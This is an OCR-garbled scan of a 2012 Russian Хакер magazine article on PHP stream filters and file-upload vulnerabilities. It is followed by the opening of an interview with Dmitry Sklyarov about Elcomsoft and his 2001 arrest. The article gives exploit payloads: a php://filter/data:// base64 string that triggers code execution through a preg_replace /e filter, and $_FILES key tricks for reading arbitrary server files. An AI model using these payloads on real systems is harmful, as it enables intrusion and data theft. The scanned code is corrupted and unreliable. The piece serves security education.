'зamp1e.htm1' ,

new LightninqТeiilp1ateCache_Fi1e( '. /cache' )

);

$1t->title = ' Samp1e Te!ilp1ate' ; $lt->n8Iile = 'Yo~1d' ;

$1t->meззage = '<b>hi!</b>' ; $1t- >items = $ite!ils ;

Пример исnользования класса Lightning Template

025

Page 28: haker

COVERSTORY

}

if ( !empty($t his->bucket - >data)) stream_bucket_a ppend($out, $th is->bucket);

return PSFS_PASS_ON;

Мы отправляем обработанные данные на точку выхода , а

фильтр возвращает значение PSFS_PASS_ON. Это означает, что все про шло успешн о. Н аписа н ный фи л ьт р нуж н о заре гис т рировать.

Делается это следующим образом :

stream_fi lter_register( 'convert.nlZbr_string ' , 'nlzbr_filter' );

Зарегистрированный фильтр доступен иэ любой функции, под­

держи вающей потоки.

ПРИВЕТ ИЗ ЯПОНИИ Теперь, когда мы научились создавать собственные фильтры, по­

смотрим, как они применяются в реально существующих скриптах.

Воспользуемся для этого сервисом Google Code Seaгch. Будем искать примеры использования функции stгeam_filteг_гegisteг.

При этом нам должен встретиться довольно интересный класс

Lightпing-Temp l ate !ссылки н а сам класс и страницу разработчика ищи в сносках!, который мы рассмотрим чуть подробнее. Допустим ,

у нас есть некий абстрактный шаблон sample.html:

<html><t:Lead> <met a charset= "utf-8" /> <t itle>{{ tit l e }}</t it l e>

</ head> </html >

Тогда скрипт

2 class nl2bг_fi~eг extends РНР _Useг_F i~e г { 3 private $_data; 4 /* Вызывается nри инициализации фильтра •t 5 function onCгeate ( ) 6 { 7 $this-> _data = "; 8 гeturn true; 9 }

1 О /* Здесь nроисходит конвертирование данных из текущего потока•/

11 puЬiic function fi~er($ i n , $out , &$consumed, $closing) 12 { 13 /*Мы считываем данные из потока и храним их

14 в Переменнои '$_data' 15 . , 16 while($bucket = stгeam_bucket_make_writeaЫe($ i n)) 17 { 18 $this-> data .= $bucket->dala; 19 $this->bucket = $bucket ; 20 $consumed = О ; 21 22 23 /* Когда мы прочитали все данные из потока мы обработаем их 24 и снова эаписшем их в корзину(Ьuсkеt). 25 ., 26 if($closing) 27 { 28 $consumed += stгlen($this-> _data); 29 $stг = nl2bг($bucket-> _data}; 30 31 $this->bucket->data = $stг; 32 $this->bucket->datalen = stгlen($this-> _data); 33 34 if(!empty($this->bucket->data)) 35 stгeam_bucket_append($out , $this->bucket); 36 37 гetum PSFS_PASS_ON; 38 39

Первый пример самоп исного фильтра

026

include ( "./LightningTemplate.php" ); $lt = new Light ni ngTemplate(' . / sample.html' ); $lt->title = 'Му Title' ; echo $l t;

сгенерит следующую НТМL-страницу:

<html >< head> <meta charset= "utf-8" /> <title>My Title</title>

</head></html>

Таким образом, упомянутый класс по заданным шаблонам

генеритсоответствующий НТМL-код . Хотелось бы сразу отметить,

что подключение темплейтов в этом классе происходит через уже

знакомую тебе конструкцию include, однако это не самое лучшее решение . Определенные группы пользователей обладают п равами

на редактирование темплейтов, что позволяет внедрять в них

зловредный РНР-код , который успешно выполняется согласно

логике данного класса . Самописный фильтр, идущий вместе с

классом, как раз и делает всю основную работу по преобразованию

НТМL-кода. Внесем небольшие изменения в этот фильтр:

puЫic function fi l ter($i n, $out , &$cons umed, $clos i ng) while ($bucket = stream_bu cket_ma ke_writeaЫe($in))

$patterns = array (

'1\{%\s+if\s+(.+?)\s+%\}/e' ,

); $replacements = array (

'"<? php if ('. \$this->condition($1). '): ?>'" ,

); $bucket->data = preg_replace($patterns,

$replacements, $bucket->dat a) ;

В строке, начинающейся с '"<?php if, я удалил одинарные кавычки . Это не влияет на функциональность фильтра, но дает

нам новые возможности. Изменив фильтр, я добился того , чтобы

произвольные команды исполнялись с помощью ргеg_герlасе

с модификатором «е » . Таким образом, есл и в тем п лейте есть

строка:

{% if print_r (i ni_get _a ll ()) %}

- то при её обработке выполнится РНР-код. Важно отметить,

что фильтры можно ис п ользовать с любы ми фун к циями, п оддержи­

вающими потоки. Например, рассмотрим следующий скрипт:

include ( " . / MYLightningTemplate.php" ); $f = $_POST( "file"]; readfile ($f);

Вспоминаем, что один врап п ер можно подставить в дру гой .

Поэтому наши команды будут успешно выполняться для следующе­

го РОSТ-параметра file :

file= php://filte r /read%3dconvert.lightni ng_templ ate_fil ter/ resource%3d data://text / plai n%Зbbaseб4, eyUgaWYgcHJpbn RfcihpbmlfZ2V0X2

Fs bCgpKSAlfQ

Таким образом, фил ьтры с уязвимастями оче н ь сильн о снижают

безопасность системы в целом, так как проэксплуатировать по­

добные баги поможет любая функция, поддерживающая потоки,

ХАКЕР 01 /156/ 2012

Page 29: haker

ПОЛЬЗОВАТЕЛЬСКИЕ ФИЛЬТРЫ

Пользовательский фильтр- зто расширение встроенного класса

php_useг_filteг. При создании фильтра необходимо задать следующие

методы: filteг, опСгеаtе, oпCiose. Первым и самым важным методом

является filteг, который принимает четыре параметра:

1. $iп -точка входа, ресурс, из которого поступают данные как по

<<цепочке людей, передающих ведро».

2. $оut-точка выхода, ресурс , в который отдаются обработанные

данные .

3. $coпsumed- место, где хранится длина данных, полученных фильтром, этот параметр всегда должен передаваться по ссылке .

4. $closiпg- булева переменная, регулирующая получение данных,

принимает значение TRUE, если считывание данных из входяще­гопотока закончено .

Также метод filteг должен возвращать одну из следующих трех

констант:

1. РSFS_РАSS_ОN-данныеуспешнообработаны и переданы в

точку выхода .

2. РSFS_FЕЕD_МЕ-ошибки отсутствуют, но данныхдля передачи в

$out нет. 3. PSFS_ ERR_FATAL ldefault) - пpoизoшлa ошибка .

Методы оп[геаtе/опСiоsе применяют редко, но лучше включать их в

код фильтра. Если фильтр оперирует другими ресурсами !например,

буфером), то зто указывается в методе опСгеаtе, вызываемом при

инициализации фильтра. Метод опСгеаtе должен возвращать FALSE в случае неудачи и TRUE в случае успеха. Метод oп[lose вызывается при завершении работы фильтра !обычно во время закрытия потока).

Чтобы наш фильтр был доступен, необходимо зарегистри ровать его в

системе с помощью функции stгeam _fil teг_гegisteг.

а такие функции во множестве используются для обработки вхо­

дящих данных. Рассмотрим, например, загрузку файлов на сервер

стандартными средствами РН Р.

·····••·tфl Обычно для загрузки файлов на сервер используют либо функ-

цию move_uploaded_file, либо функцию сору. Довольно часто пользователям разрешается загружать графические изображе­

ния, картинки, аватары и т. д. При этом разработчики предусма­

тривают разнообразные процедуры проверкизагружаемых

файлов, чтобы вместо картинки никто не загрузил полноцен­

ный веб-шелл . Чтобы понять, какая проверкадействительно

эффективна, а какую легко можно обойти, рассмотрим процесс

обычной загрузки файла в подробностях .

Итак, для отправки пользовательского файла используется

НТМL-форма, например такая:

<form actioп=upload.ph p method=post eпctype=multipart/form - data>

<input type=file name=uploadfi le>

<input type=submit value=Upload>

</form>

Когда мы выбираем файл для загрузки у себя на компьютере и

нажимаем кнопку Upload, удаленному серверу отправляется РОSТ­

запрос, в котором обязательно содержится хедер Coпtent-Type

следующего вида:

Content-Type : multipart/form-data; boundary=

ХАКЕР 01 /156/2012

Атака на файлы

-----------------2421143186617

А сами РОSТ-данные имеют такой вид:

-----------------------------2421143186617 Content-Disposition: form - data; name="uploadfile" ; filename= "hello . txt" Content-Type: text/plain

<?php echo ' Hello!! ! ' ; ?> -----------------------------2421143186617 --

Как несложно догадаться, при заполнении формы мы выбрали

файл hello.txt, который содержит «< ?php echo 'Hello! !! ' ; ?>».

Когда РНР-скрипт на удаленном сервере получает этот запрос,

интерпретатор РНР создает на сервере временный файл с именем

типа phpseUm44, в который и попадает содержимое hello.txt. Этот

временный файл хранится до завершения работы скрипта, а потом

автоматически удаляется !подробнее о временных файлах в РНР читай в предыдущем номере нашего журнала). Также создается

массив $_FILES следующего вида:

Array (

[uploadfile] => Array ( [name] => hello.txt

[type] => text/plain [tmp_name] => /tmp/phpseUm44 [error] => е [size] => 33

Тут важно понимать, что $_FILES[uploadfile][type] совпадает с

элементом Coпtent-Type, который формируется на стороне клиента.

Обычно браузер автоматически заполняет этот элемент в зави­

симости от выбранного файла, поэтому некоторые веб-мастера,

наивно надеясь обезопасить себя от загрузки зловредных РНР­

скриптов, проводят только вот такую преетенькую проверку:

$_FILES[ " file " ][ "type" ] == " image/ gif"

При этом они забывают, что любой элемент пользовательского

запроса можно легко изменить, то есть обойти такого рода фильтр

очень просто. Дляпроверки также довольно часто используется

функция getimagesizel). Конечно, это более эффективно, но не стоит забывать, что пользователь с легкостью может изменить ЕХIF-теги

изображения, поэтому та кой фильтр также легко можно обойти.

Остается открытым вопрос о том, в каком виде файл сохраняется на

сервере. Например, в зависимости от настроек веб-сервера файл

pic.php.myext вполне может быть обработан как РНР-скрипт. Таким образом, безопасный аплоад файлов- это не только проверки в

скриптах, но и грамотно решенный вопрос о местонахождении и

обработке загруженных файлов. При этом также не стоит забывать и

об особенностях самого РНР, связанных с массивом $_FILES.

УЯЗВИМОСТИ ЗАГРУЗКИ ФАЙЛОВ Первая уязвимость, о которой я бы хотел рассказать,- это

недостаточная обработка имени файла при его загрузке. Эта

уязвимость помечена на сайте bugs . php.пet как приватная, тем

не менее если постараться, все-таки можно найти ее описание.

:) Ба г заключается в том, что если имя файла начинается со

слеша или бэкслеша и больше слешей/бэкслешей не содержит, то оно проходит как есть в элемент массива $_FILES[uploadfile] [name] . Таким образом, вместо того чтобы загрузить файл в теку­

щую директорию скрипта, мы загрузим его в корневую директо­

рию веб-сервера. На машинах под управлением Uniх-подобных

027

Page 30: haker

COVERSTORY

систем мы не сможем ничего загрузить в корневую папку из-за

нехватки прав. Но вот на Windows-мaшинax вnолне можно про­

вернуть такой финт ушами. П о ссылке в сносках ищи обучающее

видео из блага первооткрывателя зто го ба га.

Вторая уязвимость более существенна. Она обусловлена не­

правильной обработкой ключей в массиве $_FILES. Впервые о ней я узнал от человека под ником Qwazaг с форума гd ot.oгg . Вместе с

BlackFan, еще одним ка м радо м с зто го форума, они провели тесты, раскрывающие суть этого ба га . С их разрешения я расскажу о нем

более подробно . Итак, пусть у нас есть мультифайловая загрузка,

реализуемая с помощью функции сору :

foreach ($_FILES[ "file" ][ "tmp_name" ] as $key => $name) { echo "Size:" .$_FILES[ "file" ][ "size" ][$key]. "cbr/>\r\n" ; echo "tmp name: " .

$_FILES[ "file" ][ "tmp_name" ][$key]. "cbr/>\r\n" ;

if($_FILES[ "file" ][ "size" ][$key] >0 && $_FILES[ "file" ][ "size" ][$key] <1024)

} }

echo "Ok<br/>\r\n" ; copy($_FILES[ " file" ][ " tmp_name" ][$key], 'test-txt' );

Это позволяет не только загружать файлы, но и читать произ­

вольный контент с сервера! Если мы отсылаем файлы на сервер

при помощи вот такой вот формы:

~-ом::е 'li~t./SocJr:~t/Тi!lt:ta.php' ;

class St.reaa_Filter_Тiarr.socJtet extud8: »._,_.er_tilter (

сомt PIUVJISG - О :

сомt. UOТict • J. ;

prot.ect.ec1. $tiarta: proucted $Сhtш~И;1 ;

protected. faock • 1;

"' @pat:u z:~sourc~ $ in "' Qpara~~. te:soutce liout • Qparaa int ''consuae:d • Qparu bool liclo:sinq • Breturn int '1

.P*Jit: hllcti.oa tilter (Hn, $out, " consuud, $clos1nq) (

/"

wld.le (liЬUcket • streaa_Ьuc.ket_uke_wпteaЬle (Hn)) ( swi.td. f'this-node ) (

с.е иlt:: PRIVJISG: 1ith1s->t.io.z:t:a->sessaqe (ftha->chonnel , 'Ьucket->date); ..... ,

с:.е иlt: : NOТICI :

defa.lt : lithis->tiarra->nouce:l!essaqe (lit.hi.s-><:h~l . liЬucke:t->da.tal:

"....,

licon:sua!:d - Sbuc.t:et- >do.t..a.le:n; streaa_Ьucket_app~d ( ,out, 'Ьuctet);

• r:ilи r i nitiali:r:e:r

• @retum bool '1

.-uc h8ctioa o.c:reu.e () (

Н (1sset( lit.his->par;8:a5{ 'socket' ))) ( lisock~m.aa~ • ~this->parus[ 'sock~t' ];

U ( 1.ss~ t(Hh1s->paraas{ 'chann~l' ])) ( HJus- >channe.l - ~thls->poru.s{ ' chann~l' );

U ( 1.ss~t(~th1s->par~ [ •aobl' JI) ( Sth1s->ted~ • Sth1s->юaraas r 'aod~' 1:

Сложный метод onCгeate в nользовательском фильтре

028

cform action= "upload.php" method= "POST" enctype= "multipart/form-data" >

cinput type= "Hidden" name= "МAX_FILE_SIZE" value= "leeeeeee" >

<input type= "file" name= "file[tmp_name][" > cinput type= "file" name= "file[size][" > <input type= "file" name= "file[name][" >

cinput type= "submit" value= "submit" > </form>

-то в массиве $_FILES создаются злементы следующего типа:

$_FILES[ "file" ][ "tmp_name" ][ "[name" ]

Функция сору вnолне ус пешно воспринимает эти элементы:

$_FILES[ "file" ][ "tmp_name" ][$key]

Таким образом, мы получаем возможность для манипулирования

произвольными параметрами в $_FILES (ниже я покажу, что такое поведение характерно не только для функции сору) . Приведу про­стой при мер, чтобы более детально разъяснить суть уязвимости.

Если на удаленном сервере имеется вышеуказанный скрипт (назовем его upload.php), а у нас на компьютере есть соответ­ствующая НТМL-форма, то для чтения исходника с крипта secгet.

php, который находится в той же директории, что и upload .php, нам необходимо и достаточно создать у себя на жестком диске

два файла :

1. Файл с именем secret.php, содержимое которого не столь важно (пусть, к примеру, это будет «<?php ?>»).

2. Файл с совсем простым именем, допустим <<1 >> . Его содержимое

будет состоять из одного символа << 1 » .

В качестве имени второго файла выбрано число, чтобы он смог

пройти следующую проверку:

$_FILES[ "file" ][ "size" ][$key] >0

Теперь открываем вышеуказанную форму в браузереи в поле <<f ile[tmp_ nameH» выбираем файл secгet.php, а в остальных полях- файл с именем <<1». Затем жмем на сабмит и видим, что в той же директории появился файл test .txt. Он представляет собой точную копию файла secгet . php, но имеет расширение txt, и значит, мы легко можем просмотреть его в браузере.

Кстати, чтобы просмотреть файл из произвольной директории,

нужно изменить поле Content-Type (то, о котором я говорил выше) . В зто м поле мы можем указать nуть к любому файлу на сервере, и

зтот файл успешно скопируется в test .txt. Но и это еще не все!

<< БЕЗОПАСНАЯ » ЗАГРУЗКА ФАЙЛОВ НА СЕРВЕР Как отмечено выше, в основном загрузка файлов осуществляется

с помощью функций move_uploaded_file и сору . Однако существуют

и другие варианты для выполнения зтой сложной и ответственной

задачи. Один из таких вариантов (он, кстати, более предпочтите­лен, если речь идет о загрузке только изображений)- исполь­

зование функций imagecгeatefгom*/image *. Так как эти функции работают только с изображениями, то ничего, кроме картинки, мы

им подсунуть не сможем. Например, скрипт

$img = imagecreatefromjpeg($_FILES[ "filename" ][ "tmp_name" ]) ; imagejpeg($img, "uploads/" .$_FILES[ "filename" ][ "name" ]);

загружает на сервер только картинку в формате JPEG, при этом полностью уничтожая все находящиеся в ЕХIF-тегах данные. Таким

образом, злоумышлен и к никак не сможет залить на сервер что-то

опасное. Но даже в таком, казалось бы, надежном методе есть

ХАКЕР 01 /156/20 12

Page 31: haker

сво и подводные камни. Сразу хочу заметить, что найти в реальных

скр иптах приведенные ниже примеры будет непросто, однако все

они имеют право на жизнь.

Итак, главная особенность функций imagecгeatefгom* заклю­

ч ается в том, что они не только работают с графическими файла­

м и , но и вполне себе поддерживают описанные выше потокиl Это

открывает, к ПР.ИМеру, прекрасную возможность хранить картинки

не на сервере, а в базе данных. Таким образом, если пропустить

ка ртинку через base64_eпcode и сохранить в БД, то потом такое

изображение можно будет вывести на экран, например, вот так:

$jpegimage = imagecreatefromjpeg( "data://image/jpeg;base64J" . base64_encode( isql_result_array( 'imagedat~]));

imagejpeg($jpegimage);

Эта особенность может оказаться довольно полезной, так

к ак грузить картинки в базу намного безопасней, чем в файлы.

Например, разработчикам не нужно думать о правах доступа к

директориям с картинками, о доступности этих директорий из

веба и о других подобных вопросах. Однако то, что функции вос­

принимают потоки, изредка приводит к довольно неожиданным

результатам .

Предположим, что у нас есть веб-приложение, которое имеет

описанный выше уязвимый фильтр, а также осуществляет мулыи­

файловую загрузку, но не с помощью функции сору, а с помощью

функции imagecгeatefгom*/image*, например такой:

foreach ($_FILES[ "file" )_( "tmp_name" ]_E.L$key => $name) { echo "Size:" . $_FILES[ "file" ][ "size" ]($key]. "<br}>\r\n" ;

}

echo " tmp name:" .$_FILES["file" ) [ "tщ>_name" ]($key]. "<br/>\r\n" ;

$img = imagecreatefromjpeg( $_FILES [ "file" ] [ "tmJJ_name" ] [$key]);

imagejpeg($img, ' ./new_' .$ke:,<. '_,jpg' ); ImageDestroy($img);

Создаем на сервере файл l.jpg с произвольным содержимым, выбираем его во всех полях формы, которую я приводил выше, и

отсылаем РОSТ-запрос с модифицированным полем Conteпt-Ty pe:

php ~//filter/read%3dconvert.lightning_template_filter/

reso_urce%3d data://text/plain%3bbase64,eyUgaWYgcHJpbnRfcihpbmlfZ2V0X2 FsbCgpKSAlfQ

Таким образом , мы можем выполнить произвольный код на сер­

вере! Курьез этого примера состоит в том, что точкой входа служит,

казалось бы, вполне безобидная функция imagecгeatefгomjpeg . Од­

нако стоит учесть, что возможность выполнять произвольный код

появляется только благодаря уязвимому фильтру, а такие фильтры

встречаются далеко не на каждом шагу.

~ # 54939 file path injedion Y~.ьtlity ln RfC1867 file ~ fllenм'le SuЬnlitted: 201 1 -о5•2113:58UТС МоdШсd: 2011-об-13 21 :48 UfC

FI'OO'I:I:korowkzlt gnaldotc:om Mllgned:~

status:Ciowi P4dl.age:~

PНP\IeniOrl : 5.3.6

н nри ватная» уязвимость РНР

ХАКЕР 01 / 156/ 201 2

OS:rnlev«tt CVE-IO:Zilli..:.ZZOZ

Атака на файлы

НОВАЯ ЖИЗНЬ СТАРЫХ БАГОВ

В конце 2009 года в РНР уже был найден похожий ба г, связанный с неразберихой в ключах глобальных массивов.

По задумке разработчиков, в именах GРС-переменных не должны

содержаться символы << >> !пробела!, <<. >> и <<[ >> !они могут интерпрети­

роваться как элементы специального синтаксиса массивов!. Однако

версии РНР того времени допускали нарушение логики в образовании

таких имен. Чтобы воспроизвести баг, набросаем специальную НТМL­

форму:

<form action=> <input name="goodvar .(" > <input name="goodarray(foo)" > <input name="badvar[ • [" > <input type=submit> </form>

Также напишем с крипт index.php для вывода результата на экран:

<?php print_r($_GET); ?>

Ожидаемый результат :

Array (

[goodvar_] => [goodarray] => Array

( (foo) =>

(badvar __ ] =>

П ол ученны й ре зультат:

Array (

(goodvar_] => (goodarray) => Array

( [foo] =>

(badvar_ . [] =>

Как видишь, логика в построении массива явно нарушена. Очень

похожее нарушение логики лежит и в основе уязвимости в $_FILES, описанной в статье .

ВМЕСТО ЗАКЛЮЧЕНИЯ В последнее время багокопатели стали все чаще устремлять

свои пылкие взоры на механизмы работы с файлами в РНР. В этой

статье я постарался доходчиво описать очередную порцию таких

ба го в, а также привел малоизвестные факты о фильтрах и потоках.

Надеюсь, что новые знания помогут веб-разработчикам грамотно,

красиво и, главное, безопасно кадить свои приложения. :Х:

029

Page 32: haker

COVERSTORY

ДМИТРИЙ СКЛЯРОВ

ЧЕЛОSЕК, КОТОРЬIИ ПОССОРИЛСЯ С

&ИОГРАФИЯ систем автоматизирован-

Закончил кафедру МПУ им . Баумана . н ого nроектирования

- - о цент кафедры «ИН-В настоящим мом:нт n:Сность» факультета формационная ~з~истемы уnравления». «Информатика

0 защиты и взлома Автор книги «Искусств информации».

E\comsoft. Известен как Сотрудник кoмnaн:~vanced eBook Ргосеssог, автор nрогра_мм~О1 году был арестован ФБР, из-за котарои в ША а конференцию Defcon. когда приехал в С н

Page 33: haker

Интервью с Дмитрием Скляровым

r.t НАЧНЕМ С ОЧЕВИДНОГО И ПРОСТОГО ВОПРОСА- С .... ЧЕГО И КАК НАЧИНАЛАСЬ ВАША КАРЬЕРА, ПОЧЕМУ IT, КРИПТОГРАФИЯ, ПРОГРАММИРОВАНИЕ?

Гil Мои родители оба закончили МВТУ !прежнее название ~ МГТУ им. Баумана.- При м. ][J, факультет приборострое­ния, кафедру П6. Тогда машины были другие- занимали по

100 кв. м. Папа впоследствии проработал в МВТУ более 20 лет на основной должности начальника вычислительной машины .

Так что я с младых ногтей был приобщен к вычислительной технике . Дома валялись перфока рты , в макулатуру в школе

сдавалась АЦПУ-шная бумага ... Школа, кстати, была без какого-либо уклона, но в последние два года у нас был очень

хороший учитель математики. К тому же нам повезло- с

шестого класса у нас началось профессиональное образование.

Один день в неделю был отведен на совершенствование

профессиональных навыков. Пока две трети класса практико­

валась на станках завода «Салют», другую треть отправляли на

учебно-производственный комбинат, связанный с компьютера­ми. Раз в неделю мы проводили там шесть часов, нам читали

лекции, были какие-то практические занятия ... Начинали мы с ПВМ <<Агат», а в последний год учебы на этом комбинате появились даже персоналки. В то время позволить себе

компьютер дома было, конечно, нереально. То есть <<Агат>> уже

продавался в магазинах и стоил порядка 4,5 тысяч рублей, в то время как <<Жигули» стоили около 6 тысяч.

В 91-м я окончил школу и собрался поступать в институт.

Мне хотелось, чтобы вокруг было как можно больше компью­

теров,- зто была главная моя цель. Я очень хотел попасть на

кафедру систем автоматизированного проектирования, там все

на компьютерах. В итоге- Бауманка, родной вуз. Правда в том

Page 34: haker

COVERSTORY

году поступали не на кафедру, а на факультет, а

распределение по кафедрам происходило уже

после первого курса. Я, естественно, попал со­

всем не туда, куда хотел : меня распределили на

кафедру сопротивления материалов. И хотя спустя

семестр я все же перевелся, я до сих пор считаю,

что из всех.кафедр факультета сопромат- самая

сильная кафедра, то есть там лучше всего учат. Но

еще со школьных лет я понял, что мне нравится не

столько программировать, сколько разбираться,

как устроены программы, искать ошибки.

А ПОСЛ Е

ИНСТИТУТА?

ГА1 Еще параллельна с учебой в институте я

~ работал в компании, которая занималась геоинформатикой- писал программы, которые

автоматизировали работу по созданию электрон­

ных карт. Позже некоторое время разрабатывал

аналогичное ПО для американцев. Это все было

через институт, то есть через кафедру. После

окончания института думал, куда мне пойти, и как

раз тогда [это был 97-й год! открылась кафедра

информационной безопасности. Я уже понимал,

что безопасность мне нравится, и до сих пор

считаю, что это одна из самых динамичных

областей IT. Я пошел туда в аспирантуру. Диссертацию, правда, до сих пор так и не

защитил, хотя она написана на 80 %. Называется

Elcomsoft, которая находится в Москве . Я списался

с ними, рассказал о том, что у меня есть, и

спросил, заинтересует ли это их. Мне ответили :

<<Приходи, поговорим>>. Изначально я хотел

попросить за свой софт немножечко денег и

сказать до свидания. Но мне nредложили работать

на регулярной основе, потом был испытательный

срок длиной полгода ... А потом меня взяли в штат.

r.1 ТО ЕСТЬ ОСНОВНЫМ НАПРАВЛЕНИЕМ .:;.t РАБОТЫ ELCOMSOFТ СНАЧАЛА БЫЛО ВОССТАНОВЛЕНИЕПАРОЛЕЙ?

ГАl Сначала было восстановление па ролей, а

~ уже потом появились и смежные направле­ния. Основными покупателями софта для

passwoгd гесоvегу, конечно, были домашние

пользователи. Их много, их легко найти, они

фактически приходят сами. Забытый па роль­

зто очень частая ситуация . Потом появились

продукты, связанные с восстановлением данных.

К примеру, у нас есть замечательный продукт EFS Recoveгy . Есть продукт для аудита- фактически

он выполняет то же восстановление па ролей,

только в масштабе Active diгectoгy. Недавно мы вышли на рынок так называемой computeг

foгeпsics . Это тоже восстановление паролей, но

уже не для домашних пользователей, а для

правоохранительны х органов, которые тоже

часто в этом заинтересованы.

КОГДА Я НАТКНУЛСЯ НА ЧЕТЫРЕХ ЧЕЛОВЕК,

КОТОРЫЕ ПРЕДСТАВИЛИСЬ АГЕНТАМИ ФБР,

Я СНАЧАЛА РЕШИЛ, ЧТО ЭТО -ИГРА

она <<Метод анализа программных средств

защиты электронных документов>>. Тот самый

доклад, с которым я ездил на Defcoп в 2001 году, - это как раз кусок диссертации. Сейчас я в

Бауманке совместитель - читаю одну лекцию в

неделю, веду дипломников- и мне хватает. У

нас есть такая штука- курс по выбору . Студенты

вольны выбирать, на что ходить. Я читаю

пятикурсникам курс, который называю <<Инже­

нерное введение в информационную безопас­

ность>>. У меня сложилось впечатление, что,

доучившись до пятого курса, многие студенты не

понимают, чем они занимаются. Я получаю

удовольствие от общения с молодым поколение м

и работаю там совсем не ради зарплаты.

РАССКАЖИТЕ, П ОЖАЛУЙСТА, КАК ПОПАЛИ В ELCOMSOFT.

ГА1 Я просто на писал кусок кода для своих нужд . ~ Один мой друг потерял доступ к свой базе Access, п о просил меня помочь . Я посидел,

разобрался и ... помог. В ито ге у меня получился

код, который мо г бы пригодиться другим людям,

но я не умел продавать программы. Тогда-то я и

узнал, что существует такая компания-

032

КАК РАЗ ХОТЕЛОСЬ ЗАДАТЬ ВОПРОС О

ПРАВООХРАНИТЕЛЬНЫХ ОРГАНАХ. :1

ГА1 О, у нас на стене висит куча благодарно­

~ стей, в том числе и от правоохранительных органов самых разных стран мира. Нашему

генеральному директору как-то вообще прислали

бумагу, где говорилось, что он является почетным

помощником шерифа штата Техас. Еще в 90-е

годы полиция Техаса арестовала человека по

какому-то страшному обвинению, и на его

компьютере обнаружили зашифрованные файлы.

Полиция обратилась в Elcomsoft, и мы предоста­вили им программу. В расшифрованных файлах

были обнаружены доказательства вины

задержанного.

r,1 НО ВЕДЬ БЫВАЕТ, ЧТО ЛЮДИ <<ЗАБЫ­.:;.t ВАЮТ>> ПАРОЛИ ОТ ЧУЖИХ ДАННЫХ. ГА1 Да, конечно, бывает и такое, но ... К ~ примеру, у нас недавно вышел инстру­ментарий для исследования телефонов

ком пании Apple, для iOS [для любых устройств, кроме iPhoпe 45 и iPad21. Мы были первыми в мире, кто сделал подобное. Мы не продаем его

всем подряд, открытой продажи нет вовсе, зато

этот продукт пользуется спросом у представите­

лей госструктур. Таким образом, организация

должна представить доказательства того, что

имеет отношение к правоохранительным

органам.

r.1 APPLE И ДРУГИЕ ПРОИЗВОДИТЕЛИ Н Е .:;.t ВОЗРАЖАЮТ, ЧТО КОМПАНИЯ ИЗ РОССИИ КОПАЕТСЯ В ИХ ПРОДУКТАХ, И НЕ

ПРЕПЯТСТВУЮТ ЭТОМУ? ОБ ADOBE ПОКА УМОЛЧИМ .

ГАl Помимо нас, подобные продукты сейчас вы­

~ пускают еще три или четыре компании, известные на мировом рынке computeг foгeпsics.

Производители телефонов, как ни странно, не

против. Все же зто сотрудничество с правоохра­

нительными органами, помощь закону ... Из Apple к нам не обращались ни разу, претензий не

предъявляли. Вообще, что касается претензий,

чаще бывает наоборот.

r.1 ЗАДАЧУ ОТНОСИТЕЛЬНО БЕЗОПАСНО­... СТИ PDF ВАМ ПОСТАВИЛИ В ELCOMSOFТ ИЛИ ... ?

ГАl Нет, идея с pdf принадлежала мне. Я ~ пришел и предложил заняться этим форматом. Мне сказали: << Ну, если интересно,

займись>>. У нас в этом смысле уникальная

компания- не существует жесткого графика

разработки софта. Нет внешнего заказчика,

который диктует нам сроки .

r.1 ИЗ ЭТОЙ ИДЕИ И РОДИЛСЯ .:;.t НЕЗАБВЕННЫЙ ADVANCED ЕВООК PROCESSOR, ИЗ-ЗА КОТОРОГО ВАС АРЕСТОВАЛИ В 2001 ГОДУ НА DEFCON?

ГАl В общем, да. По сути, при моем участии

~ была разработана программа , которая позволяла снимать защиту с легально куплен н ых

рdf-документов, в том числе с электронных книг.

Она была выпущена в 2001 году . У нас в России

на тот момент действовал закон, согласно

которому любой человек имел право легально

сделать одну резервную копию легально

приобретенной продукции, не сообщая об этом

правообладателю . То есть, создавая этот продукт

в России, мы ничего не нарушали. Потом мы

начали продавать его в США. Это как раз было за

пару недель до моей поездки в Штаты на Defcoп.

За зто время было куплено, если я не ошибаюсь,

всего 12 или 20 копий программы. Спустя меньше недели с начала продаж наш провайдер, у

которого мы хостились, известил нас о том, что к

нему предъявляет претензии компания Adobe. Мы прекратили продажи.

Я полетел на Defco п, спокойно сделал там

доклад об Advaпced eBook Ргосеssог, все было хорошо. Но через два дня, когда я уже вышел

из номера, чтобы ехать в аэропорт, меня встре­

тили сотрудники ФБР и вежливо предложили

проехать с ними.

m РУКИ НЕ ЗАЛАМЫВАЛИ? :1

ХАКЕР 01 /156/2012

Page 35: haker

ГАl Заламывали, только ... Понимаете, на ~ конференции существует огромное количество игр, связанных с тамошней полицией.

Одна из них- Spot the fed !Засеки федерала). На конференции действительно присутствуют

федеральные агенты !разумеется, скрытно), и в

ее ходе по вопросами и ответам из зала нужно

вычислить человека, который является

федералом, и каким-либо образом на него

указать. Когда я вышел из номера и наткнулся на

четырех человек, которые представились

федеральными агентами, я сначала решил, что

зто продолжение какой-то игры, хотя конферен­

ция на тот момент уже закончилась. Попытался

их обойти. Один из них остановил меня, схватив

за запястье, показал мне жетон, и я понял, что

никуда не побегу, сдался властям .

r.1 РАССКАЖИТЕ, ЧТО БЫЛО ДАЛЬШЕ. 1.;.1 ВЕДЬ ТОГДА ПОЛУЧИЛАСЬ ОЧЕНЬ ГРОМКАЯ ИСТОРИЯ, ВАС ПОЧТИ МЕСЯЦ

ПРОДЕРЖАЛИ В ТЮРЬМЕ, БОЛЬШЕ

ПОЛУГОДА НЕ ДАВАЛИ УЕХАТЬ ИЗ ШТАТОВ.

ГАl Федеральные агенты п~ивели меня обратно ~ в номер, осмотрели мои чемодан и очень

ХАКЕР 01 /156/2012

уди вились, когда обнаружили, что у меня с собой

нет ноутбука. Дело в том, что со мной были другие

ребята, которые после конференции полетели в

другой город в Штатах. Ноутбук был не мой, я

сделал с него доклад, отдал им, и они уехали.

Фзбззровцев это разочаровало. Хотя никакого

криминала на лэптопе он бы все равно не нашли.

Потом меня отвезли в здание местного суда

в Лас-Вегасе. В Штатах нет камер предвари­

тельного заключения и нет мест для постоянной

<<отсидки>>. Все объединено, так как большин­

ство людей выходит под залог еще до того, как

попадает в камеру. Меня отказались выпускать

под залог: был велик риск <<nобега>>, ведь к США

меня ничего не привязывало. В результате меня

оставили в тюрьме Лас-Вегаса, в которой я про­

вел 11 дней. А дальше началось самое забавное. Оказывается, Андрей Малышев- еще один наш

сотрудник, который был со мной и присутствовал

при моем аресте, сразу позвонил в Москву, в

головной офис, и сообщил, что меня арестовали .

В Москве всех поставили на уши . Консульство

